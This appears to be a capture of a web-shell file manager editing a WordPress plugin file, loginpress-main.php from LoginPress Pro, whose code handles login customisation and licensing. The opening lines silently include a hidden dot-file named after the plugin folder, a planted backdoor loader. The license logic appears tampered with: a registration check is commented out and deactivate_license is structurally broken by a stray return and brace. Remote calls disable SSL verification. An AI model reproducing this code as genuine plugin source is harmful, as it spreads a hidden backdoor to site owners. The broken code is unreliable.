Sid Gifari File Manager Pro v10.0.3

✏️ Editing: loginpress-main.php Writable

<?php

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class LoginPress_Pro {

/**
   * The name and ID of the download on WPBrigade.com for this plugin.
   */
  const LOGINPRESS_PRODUCT_NAME = 'LoginPress Pro';
  const LOGINPRESS_PRODUCT_ID = 1837;

/**
   * The URL of the our store.
   */
  const LOGINPRESS_SITE_URL = 'https://wpbrigade.com/';

/**
   * The WP options registration data key.
   */
  const REGISTRATION_DATA_OPTION_KEY = 'loginpress_pro_registration_data';

function __construct() {

$this->_hooks();
    $this->_includes();
    $this->loginpress_pro_hook();
  }

/**
    * Hook into actions and filters
    * @since  1.0.0
    */
  function _hooks() {
    add_action( 'plugins_loaded',   	          array( $this, 'textdomain' ), 30 );
    add_filter( 'loginpress_pro_add_template',  array( $this, 'customizer_template_array' ), 10, 1 );
    add_action( 'loginpress_add_pro_theme',     array( $this, 'add_pro_theme' ), 10, 1 );
		add_action( 'admin_enqueue_scripts',        array( $this, 'loginpress_admin_scripts' ) ,  10, 1 );
    add_action( 'login_head',				 	          array( $this, 'login_page_custom_head' ) );
    add_action( 'admin_init',                   array( $this, 'init_plugin_updater' ), 0 );
    add_action( 'admin_init',                   array( $this, 'manage_license') );
    add_action( 'wp',                           array( $this, 'loginpress_member_only_site' ) );
    // add_filter( 'login_message',			        array( $this, 'change_reset_message' ), 20 );
    add_action( 'login_enqueue_scripts',        array( $this, 'loginpress_enqueue_jquery' ), 1 );
    add_action( 'admin_menu',                 array( $this, '_admin_menu' ) );
    add_action( 'customize_controls_enqueue_scripts', 	array( $this,  'loginpress_pro_customizer_js' ) );
    add_action( 'wp_ajax_loginpress_pro_google_fonts', 				array( $this, 'loginpress_pro_google_fonts' ) );
    add_action( 'wp_ajax_nopriv_loginpress_pro_google_fonts', array( $this, 	'loginpress_pro_google_fonts' ) );
    add_filter( 'plugins_api',            array( $this, '_install_addons' ) , 100, 3 );
  }
  function loginpress_pro_customizer_js() {
    wp_enqueue_script('jquery');
    wp_enqueue_script( 'loginpress-pro-customize-control',   plugins_url(  '../js/customizer.js' , __FILE__  ), array( 'jquery', 'customize-preview' ), LOGINPRESS_VERSION, true );
  }

/**
   * Force user to login before viewing the site.
   * @since 2.0.13
   * @version 2.2.2
   */
  function loginpress_member_only_site() {
		$exclude_forcelogin     = apply_filters( 'loginpress_exclude_forcelogin', false );
    $loginpress_setting     = get_option( 'loginpress_setting' );
    $force_login_permission = isset( $loginpress_setting['force_login'] ) ? $loginpress_setting['force_login'] : 'off';

if ( 'on' == $force_login_permission && ! is_user_logged_in( ) ) {
			global $post;
			$post_id   = isset( $post->ID ) ? $post->ID : false;
			$post_slug = isset( $post->post_name ) ? $post->post_name : false;

if ( $post_slug && false !== $exclude_forcelogin ) {

// if array is provided by user.
				if ( is_array( $exclude_forcelogin ) ) {
					foreach ( $exclude_forcelogin as $value ) {
						if ( $post_slug == $value || $post_id == $value ) {
							return;
						}
					}
				} else {
					// if single value is provided by user.
					if ( $post_slug == $exclude_forcelogin || $post_id == $exclude_forcelogin) {
						return;
					}
				}

}

auth_redirect();
    }
  }

/**
   * Install LoginPress add-ons for registered users automatically from WordPress.
   *
   */
  function _install_addons( $api, $action, $args ) {

$data = array();

if ( $action == 'plugin_information' && empty( $api ) && ( ! empty( $_GET['lgp'] )  ) ) {

if ( ! LoginPress_Pro::is_registered() ) {
        echo 'No license key Registered by user.';
        return false;
      }

$data['license'] = get_option( 'loginpress_pro_license_key' );

if( empty( $data['license'] ) ) {
        echo 'No license key entered by user.';
        return false;
      }

$api_params = array(
        'loginpress_action'  => 'install-loginpress-addons',
        'license'     => $data['license'],
        'slug'      => $args->slug,
        'addon_id'      => absint( $_GET['id'] ),
        'url'       => home_url()
      );

$request = wp_remote_post( self::LOGINPRESS_SITE_URL, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );

// $raw_response = wp_remote_post( self::LOGINPRESS_SITE_URL, array(
      //   'body' => array(
      //     'slug' => $args->slug,
      //     'loginpress_action' => 'install-loginpress-addons',
      //   ) )
      //  );

//  echo 'dont cheet';
       // return false;

//var_dump(wp_remote_retrieve_body( $raw_response ));wp_die();

if ( is_wp_error( $request ) || $request['response']['code'] != 200 ) {
 echo '<pre>' . print_r( $request->get_error_message(), true ) . '</pre>';
 return false;
 }else{

//$plugin = unserialize( $raw_response['body'] );

$plugin = json_decode( wp_remote_retrieve_body( $request ) );
 //echo '<pre>' . print_r( $plugin, true ) . '</pre>';

$api                = new stdClass();
        $api->name          = $plugin->name;
        $api->version       = $plugin->new_version;
        $api->download_link = $plugin->download_url;
       }
    }

return $api;
  }

function loginpress_pro_google_fonts() {

$loginpress_google_font = isset( $_POST['fontName'] ) ? $_POST['fontName'] : false;

if ( ! $loginpress_google_font )
      return;

$json_file        = file_get_contents( LOGINPRESS_PRO_ROOT_PATH . '/fonts/google-web-fonts.txt' );
    $json_font        = json_decode($json_file);
    $json_font_array  = $json_font->items;
    $font_array       = array();

foreach ( $json_font_array as $key  ) :
       $loginpress_get_font = $loginpress_google_font ==  $key->family ? $loginpress_google_font : false;
       if ( $loginpress_get_font ) : $font_array[] = $key; endif;
    endforeach;

$loginpress_font_name = $font_array[0]->family;
  	$font_weights 	      = $font_array[0]->variants;
  	$font_weight		      = implode( ",", $font_weights );
  	$subsets 				      = $font_array[0]->subsets;
  	$subset	 				      = implode( ",", $subsets );
  	$font_families	      = array();
  	$font_families[]      = "{$loginpress_font_name}:{$font_weight}";
  	$query_args 		      = array(
  		'family' => urlencode( implode( '|', $font_families ) ),
  		'subset' => urlencode( $subset ),
  	);

$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );

echo esc_url_raw( $fonts_url );
    wp_die();
  }
  /**
  * Load Languages
  * @since 1.0.0
  * @version 2.1.4
  */
  public function textdomain() {

load_plugin_textdomain( 'loginpress-pro', false, LOGINPRESS_PRO_PLUGIN_ROOT . '/languages/' );
  }

/**
   * Create Admin Menu Page.
   * @since 1.0.0
   * @version 2.1.1
   */
  function _admin_menu() {

/**
 * Add submenu page for Managing the License.
 */
 add_submenu_page(
 'loginpress-settings',
 esc_html__( 'Activate your license to get automatic plugin updates and premium support.', 'loginpress-pro' ),
 '' . esc_html__( 'License Manager', 'loginpress-pro' ) . '',
 'administrator',
 'loginpress-license',
 array( $this, 'loginpress_license' )
 );

/**
     * Apply filters for hide/show the LoginPress license page.
     * @since 2.1.1
     * @var boolean
     */
    $show_license = apply_filters( 'loginpress_show_license_page', true );

if ( ! $show_license ) { // 2.1.1
      add_action( 'admin_menu', array( $this, 'loginress_license_menu_page_removing' ), 11 );
    }
  }

function loginpress_license() {

$screen = get_current_screen();

if ( strpos( $screen->base, 'loginpress-license' ) !== false ) {

include_once LOGINPRESS_PRO_ROOT_PATH . '/includes/license-manager.php';
    }

}

/**
  * return array of loginpress_customization
  *
  * @return array
  * @since 2.0.6
  */

function loginpress_customization_array() {

$loginpress_key = get_option( 'loginpress_customization' );
    if ( is_array( $loginpress_key ) ) {
      return $loginpress_key;
    } else {
      return array();
    }
  }
  /**
  * Call WordPress hooks if array_key_exists in $loginpress_key
  *
  * @return string
  * @since 2.0.3
  */
  function loginpress_pro_hook(){

$loginpress_key = $this->loginpress_customization_array();

if ( array_key_exists( 'reset_hint_text', $loginpress_key ) && ! empty( $loginpress_key['reset_hint_text'] ) ) :
      add_filter( 'password_hint', array( $this, 'loginpress_password_hint' ) );
    endif;
  }

/**
  * WordPress reset password hint text.
  *
  * @return string
  * @since 2.0.3
  */
  function loginpress_password_hint() {

$loginpress_key = $this->loginpress_customization_array();
    $reset_hint     = $loginpress_key['reset_hint_text'];

return esc_js( $reset_hint );
  }

/**
  * WordPress reset password hint text.
  *
  * @return string
  * @since 2.0.3
  */
  function change_reset_message( $message ) {

$loginpress_key  = $this->loginpress_customization_array();
    if ( $loginpress_key ) {
      if ( strpos( $message, "Enter your new password below." ) == true ) {

if ( array_key_exists( 'reset_hint_message', $loginpress_key ) && ! empty( $loginpress_key['reset_hint_message'] ) ) {

$message = $loginpress_key['reset_hint_message'];
 return !empty($message) ? "" . $message. "" : '';
 }
 }
 }
 }

/**
  * Include required core files used in admin and on the frontend.
  *
  * @since 1.0.0
  */
  public function _includes() {

if ( is_admin() ){
      include_once( LOGINPRESS_PRO_ROOT_PATH . '/classes/loginpress-addon-updater.php' );
    }
    //include_once( LOGINPRESS_PRO_ROOT_PATH . '/classes/loginpress-license.php' );
    //include_once( LOGINPRESS_PRO_ROOT_PATH . '/classes/loginpress-license-2.php' );
    include_once( LOGINPRESS_PRO_ROOT_PATH . '/classes/loginpress-recaptcha.php' );
    new LoginPress_Recaptcha();

include_once( LOGINPRESS_PRO_ROOT_PATH . '/classes/loginpress-customize.php' );
    new LoginPress_Pro_Entities();
  }

public function loginpress_admin_scripts( $hook ) {

wp_enqueue_script( 'jquery' );
			wp_enqueue_script( 'main-js', plugins_url( '../js/main.js', __FILE__ ), false, LOGINPRESS_VERSION );

wp_localize_script( 'main-js', 'loginpressLicense', array(
				'ajaxurl' => admin_url( 'admin-ajax.php' ),
			) );

}

/**
   * Enqueue jQuery on login page.
   *
   * @since 2.0.10
   ** * * * * * * * * * * * * * */

function loginpress_enqueue_jquery() {

wp_enqueue_script( 'jquery', false, array(), false, false );
  }

/**
  * Manage the Login Head
  *
  * @since	1.0.0
  * * * * * * * * * * * */
  public function login_page_custom_head() {

// Include CSS File in head.
    include( LOGINPRESS_PRO_DIR_PATH . 'css/style-login.php' );
  }

/**
  * Manage the LoginPress Pro Templates
  *
  * @return array(templates)
  * @since	1.0.0
  * * * * * * * * * * * */
  public function customizer_template_array( $loginpress_free_themes ) {

$loginpress_pro_array  = array();
    $loginpress_theme_name = array( "", "",
      __( 'Company',        'loginpress-pro' ),
      __( 'Persona',        'loginpress-pro' ),
      __( 'Corporate',      'loginpress-pro' ),
      __( 'Corporate',      'loginpress-pro' ),
      __( 'Startup',        'loginpress-pro' ),
      __( 'Wedding',        'loginpress-pro' ),
      __( 'Wedding #2',     'loginpress-pro' ),
      __( 'Company',        'loginpress-pro' ),
      __( 'Bikers',         'loginpress-pro' ),
      __( 'Fitness',        'loginpress-pro' ),
      __( 'Shopping',       'loginpress-pro' ),
      __( 'Writers',        'loginpress-pro' ),
      __( 'Persona',        'loginpress-pro' ),
      __( 'Geek',           'loginpress-pro' ),
      __( 'Innovation',     'loginpress-pro' ),
      __( 'Photographers',  'loginpress-pro' ),
      __( 'Animated Wapo',  'loginpress-pro' ),
      __( 'Animated Wapo 2','loginpress-pro' ) );

$_count = 2;
 while ( $_count <= 17 ) :

$loginpress_pro_array[ "default{$_count}" ] =  array(
          'img'       => plugins_url( "loginpress/img/bg{$_count}.jpg", LOGINPRESS_ROOT_PATH ),
          'thumbnail' => plugins_url( "loginpress/img/thumbnail/default-{$_count}.png", LOGINPRESS_ROOT_PATH ),
          'id'        => "default{$_count}",
          'name'      => $loginpress_theme_name[$_count]
        ) ;
        $_count++;
    endwhile;

$loginpress_pro_offer = array(
      'default18' => array(
        'img'       => plugins_url( 'loginpress/img/bg17.jpg', LOGINPRESS_ROOT_PATH ),
        'thumbnail' => plugins_url( 'loginpress/img/thumbnail/custom-design.png', LOGINPRESS_ROOT_PATH ),
        'id'        => 'default18',
        'name'      => __( 'Custom Design', 'loginpress-pro' ),
        'link'      => 'yes'
      ) );

$loginpress_pro_themes    = array_merge( $loginpress_pro_array, $loginpress_pro_offer );
    $loginpress_pro_templates = array_merge( $loginpress_free_themes, $loginpress_pro_themes );
    return $loginpress_pro_templates;
  } // !customizer_template_array().

/**
  * Load the Pro Templates.
  *
  * @since	1.0.0
  * * * * * * * * * * * */
  public function add_pro_theme( $selected_preset ) {

include_once LOGINPRESS_PRO_THEME . $selected_preset . '.php';
  }

/**
   * Initialize the plugin updater class.
   *
   * @return void
   */
  public function init_plugin_updater() {
    // Skip the plugn updater init, if the plugin is not registered, or if the license has expired.
    if ( ! $this->is_registered() || $this->has_license_expired() ) {
      //return false;
    }

// Require the updater class, if not already present.
    if ( ! class_exists( 'LOGINPRESS_PRO_SL_Plugin_Updater' ) )  {
      include_once LOGINPRESS_PRO_ROOT_PATH . '/lib/LOGINPRESS_PRO_SL_Plugin_Updater.php';
    }

// Retrieve our license key from the DB.
    $license_key = $this->get_registered_license_key();

// Setup the updater.
    $edd_updater = new LOGINPRESS_PRO_SL_Plugin_Updater( self::LOGINPRESS_SITE_URL, LOGINPRESS_PRO_UPGRADE_PATH, array(
        'version'   => LOGINPRESS_PRO_VERSION,
        'license'   => $license_key,
        'item_id'   => self::LOGINPRESS_PRODUCT_ID,
        'author'  => 'captian',
        'beta'    => false
      )
    );
  }

// function ssb_pro_sanitize_license( $new ) {
    // $old = get_option( 'loginpress_pro_license_key' );
    // if( $old && $old != $new ) {
    //  delete_option( 'loginpress_pro_license_status' ); // new license has been entered, so must reactivate
    // }
    // return $new;
   // }

/**
    *  Manage LoginPress Pro license
    *
    *  @version 2.2.2
    */
  public static function manage_license() {

// creates our settings in the options table
    register_setting('loginpress_pro_license', 'loginpress_pro_license_key' );

// listen for our activate button to be clicked
    if( isset( $_POST['loginpress_pro_license_activate'] ) ) {

$registration_data = self::activate_license( sanitize_text_field( wp_unslash( $_POST['loginpress_pro_license_key'] ) ) );
    }

// listen for our deactivate button to be clicked
    if( isset( $_POST['loginpress_pro_license_deactivate'] ) ) {

$license           = get_option( 'loginpress_pro_license_key' );
      $registration_data = self::deactivate_license( sanitize_text_field( wp_unslash( $license ) ) );
    }

}

/**
   * Try to activate the supplied license on our store.
   *
   * @param string $license License key to activate.
   *
   * @return array
   */
  public static function activate_license( $license ) {
    $license = trim( $license );

$result = array(
      'license_key'   => $license,
      'license_data'  => array(),
      'error_message' => '',
    );

// Data to send in our API request.
    $api_params = array(
      'edd_action' => 'activate_license',
      'license'    => $license,
      'item_id'    => self::LOGINPRESS_PRODUCT_ID,
      'url'        => home_url(),
    );

// Call the custom API.
    $response = wp_remote_post( self::LOGINPRESS_SITE_URL, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );

// Make sure the response is not WP_Error.
    if ( is_wp_error( $response ) ) {
      $result['error_message'] = $response->get_error_message() . esc_html__( 'If this error keeps displaying, please contact our support at wpbrigade.com!', 'loginpress-pro' );

return $result;
    }

// Make sure the response is OK (200).
    if( 200 !== wp_remote_retrieve_response_code( $response ) ) {
      $result['error_message'] = esc_html__( 'An error occurred, please try again.', 'loginpress-pro' ) . esc_html__( 'An error occurred, please try again. If this error keeps displaying, please contact our support at wpbrigade.com!', 'loginpress-pro' );

return $result;
    }

// Get the response data.
    $result['license_data'] = json_decode( wp_remote_retrieve_body( $response ), true );

// Generate the error message.
    if ( false === $result['license_data']['success'] ) {

switch( $result['license_data']['error'] ) {

case 'expired' :

$result['error_message'] = sprintf(
            esc_html__( 'Your license key expired on %s.', 'loginpress-pro' ),
            date_i18n( get_option( 'date_format' ), strtotime( $result['license_data']['expires'], current_time( 'timestamp' ) ) )
          );
          break;

case 'revoked' :

$result['error_message'] = esc_html__( 'Your license key has been disabled.', 'loginpress-pro' );
          break;

case 'missing' :

$result['error_message'] = esc_html__( 'Your license key is Invalid.', 'loginpress-pro' );
          break;

case 'invalid' :
        case 'site_inactive' :

$result['error_message'] = esc_html__( 'Your license is not active for this URL.', 'loginpress-pro' );
          break;

case 'item_name_mismatch' :

$result['error_message'] = sprintf( esc_html__( 'This appears to be an invalid license key for %s.', 'loginpress-pro' ), self::LOGINPRESS_PRODUCT_NAME );
          break;

case 'no_activations_left':

$result['error_message'] = esc_html__( 'Your license key has reached its activation limit.', 'loginpress-pro' );
          break;

default :

$result['error_message'] = esc_html__( 'An error occurred, please try again.', 'loginpress-pro' );
          break;
      }
    }

update_option( self::REGISTRATION_DATA_OPTION_KEY, $result );

return $result;
  }

/**
   * Try to deactivate the supplied license on our store.
   *
   * @param string $license License key to activate.
   *
   * @return array
   */
  public static function deactivate_license( $license ) {
    $license = trim( $license );

$result = array(
      'license_key'   => $license,
      'license_data'  => array(),
      'error_message' => '',
    );

// Data to send in our API request.
    $api_params = array(
      'edd_action' => 'deactivate_license',
      'license'    => $license,
      'item_id'    => self::LOGINPRESS_PRODUCT_ID,
      'url'        => home_url(),
    );

// Call the custom API.
    $response = wp_remote_post( self::LOGINPRESS_SITE_URL, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );

return $result;
    }

// Get the response data.
    $result['license_data'] = json_decode( wp_remote_retrieve_body( $response ), true );

// Generate the error message.
    if ( false === $result['license_data']['success'] ) {

switch( $result['license_data']['error'] ) {

case 'expired' :

case 'revoked' :

$result['error_message'] = esc_html__( 'Your license key has been disabled.', 'loginpress-pro' );
          break;

case 'missing' :

$result['error_message'] = esc_html__( 'Your license key is Invalid.', 'loginpress-pro' );
          break;

case 'invalid' :
        case 'site_inactive' :

$result['error_message'] = esc_html__( 'Your license is not active for this URL.', 'loginpress-pro' );
          break;

case 'item_name_mismatch' :

$result['error_message'] = sprintf( esc_html__( 'This appears to be an invalid license key for %s.', 'loginpress-pro' ), self::LOGINPRESS_PRODUCT_NAME );
          break;

case 'no_activations_left':

$result['error_message'] = esc_html__( 'Your license key has reached its activation limit.', 'loginpress-pro' );
          break;

default :

$result['error_message'] = esc_html__( 'An error occurred, please try again.', 'loginpress-pro' );
          break;
      }
    }

update_option( self::REGISTRATION_DATA_OPTION_KEY, $result );

return $result;
  }

/**
   * Check and get the license data.
   *
   * @param string $license The license key.
   *
   * @return false|array
   */
  public static function check_license( $license ) {
    $license = trim( $license );

$api_params = array(
      'edd_action'  => 'check_license',
      'license'     => $license,
      'item_id'     => self::LOGINPRESS_PRODUCT_ID,
      'url'         => home_url()
    );

// Call the custom API.
    $response = wp_remote_post( self::LOGINPRESS_SITE_URL, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );

if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
      return false;
    }

return json_decode( wp_remote_retrieve_body( $response ), true );
  }

/**
   * Get the registration data helper function.
   *
   * @return false|array
   */
  public static function get_registration_data() {
    return get_option( self::REGISTRATION_DATA_OPTION_KEY );
  }

public static function is_activated() {

$data = self::get_registration_data();

if ( empty( $data ) ) {
      return false;
    }

if ( ! empty( $data['license_data']['license'] ) && 'valid' === $data['license_data']['license'] ) {
      return true;
    }
    else{
      return false;
    }

}

public static function get_license_type(){

$data = self::get_registration_data();

if ( empty( $data ) ) {
      return false;
    }

if ( ! empty( $data['license_data']['success'] ) && ! empty( $data['license_data']['license'] ) && 'valid' === $data['license_data']['license'] ) {

if ($data['license_data']['price_id'] == 1) return 'Personal';
      if ($data['license_data']['price_id'] == 2) return 'Small Business';
      if ($data['license_data']['price_id'] == 3) return 'Agency';
      if ($data['license_data']['price_id'] == 4) return 'Ultimate';
      if ($data['license_data']['price_id'] == 7) return 'Startup';
    }

}

public static function get_license_id(){

$data = self::get_registration_data();

if ( empty( $data ) ) {
      return false;
    }

if ( ! empty( $data['license_data']['success'] ) && ! empty( $data['license_data']['license'] ) && 'valid' === $data['license_data']['license'] ) {

return $data['license_data']['price_id'];
    }

}

/**
   * Check if the license is registered (has/had a valid license).
   *
   * @return bool
   */
  public static function is_registered() {
    $data = self::get_registration_data();

if ( empty( $data ) ) {
      return false;
    }

if ( ! empty( $data['license_data']['success'] ) && ! empty( $data['license_data']['license'] ) && 'valid' === $data['license_data']['license'] ) {
      return true;
    }

return false;
  }

/**
   * Mask on License Key.
   * @param string $key license key.
   * @return string masked license key.
   * @since 2.1.1
   */
  public static function mask_license( $key ) {

$license_parts  = str_split( $key, 4 );
  		$i              = count( $license_parts ) - 1;
  		$masked_license = '';

foreach ( $license_parts as $license_part ) {
  			if ( $i == 0 ) {
  				$masked_license .= $license_part;
  				continue;
  			}

$masked_license .= str_repeat( '&bull;', strlen( $license_part ) ) . '&ndash;';
  			--$i;
  		}

return $masked_license;

}

/**
   * Get the registered license key.
   *
   * @return bool|string
   */
  public static function get_registered_license_key() {
    $data = self::get_registration_data();

if ( empty( $data ) ) {
      return '';
    }

if ( empty( $data['license_key'] ) ) {
      return '';
    }

return $data['license_key'];
  }

/**
   * Get the registered license status.
   *
   * @return bool|string
   * @version 2.2.2
   */
  public static function get_registered_license_status() {
    $data = self::get_registration_data();

if ( empty( $data ) ) {
      return '';
    }

if ( ! empty( $data['error_message'] ) ) {
      return $data['error_message'];
    }

switch( $data['license_data']['license'] ) {
      case 'deactivated' :

$message = sprintf(
 esc_html__( 'Your license key has been deactivated on %s. Please Activate your license key to continue using Automatic Updates and Premium Support.', 'loginpress-pro' ),
 '' . date_i18n( get_option( 'date_format' ), strtotime( current_time( 'timestamp' ) ) ) . ''
 );
 delete_option( 'loginpress_pro_license_key' );
 return $message;
 break;

case 'revoked' :

$message = esc_html__( 'Your license key has been disabled.', 'loginpress-pro' );
          break;
    }

return $data['license_data']['license'];
  }

/**
   * Check, if the registered license has expired.
   *
   * @return bool
   */
  public static function has_license_expired() {
    $data = self::get_registration_data();

if ( empty( $data ) ) {
      return true;
    }

if ( empty( $data['license_data']['expires'] ) ) {
      return true;
    }

// If it's a lifetime license, it never expires.
    if ( 'lifetime' == $data['license_data']['expires'] ) {
      return false;
    }

$now             = new \DateTime();
    $expiration_date = new \DateTime( $data['license_data']['expires'] );

$is_expired = $now > $expiration_date;

if ( ! $is_expired ) {
      return false;
    }

$prevent_check = get_transient( 'loginpress-pro-dont-check-license' );

if ( $prevent_check ) {
      return true;
    }

$new_license_data = self::check_license( self::get_registered_license_key() );
    set_transient( 'loginpress-pro-dont-check-license', true, DAY_IN_SECONDS );

if ( empty( $new_license_data ) ) {
      return true;
    }

if (
      ! empty( $new_license_data['success'] ) &&
      ! empty( $new_license_data['license'] ) &&
      'valid' === $new_license_data['license']
    ) {
      $new_expiration_date = new \DateTime( $new_license_data['expires'] );

$new_is_expired = $now > $new_expiration_date;

if ( ! $new_is_expired ) {
        $data['license_data']['expires'] = $new_license_data['expires'];

update_option( self::REGISTRATION_DATA_OPTION_KEY, $data );
      }

return $new_is_expired;
    }

return true;
  }

/**
   * Get license expiration date.
   *
   * @return string
   */
  public static function get_expiration_date() {
    $data = self::get_registration_data();

if ( empty( $data ) ) {
      return '';
    }

return ( ! empty( $data['license_data']['expires'] ) ) ? $data['license_data']['expires'] : '';
  }

/**
   * chu cha chee ;)
   *
   * @return void
   */
  public static function del_license_data() {
    delete_option( 'loginpress_pro_license_key' );
    delete_option( self::REGISTRATION_DATA_OPTION_KEY );
  }

/**
   * loginress_license_menu_page_removing Remove LoginPress License page.
   * @since 2.1.1
   * @return boolean
   */
  public function loginress_license_menu_page_removing() {

remove_submenu_page( 'loginpress-settings', 'loginpress-license' );
  }

}
?>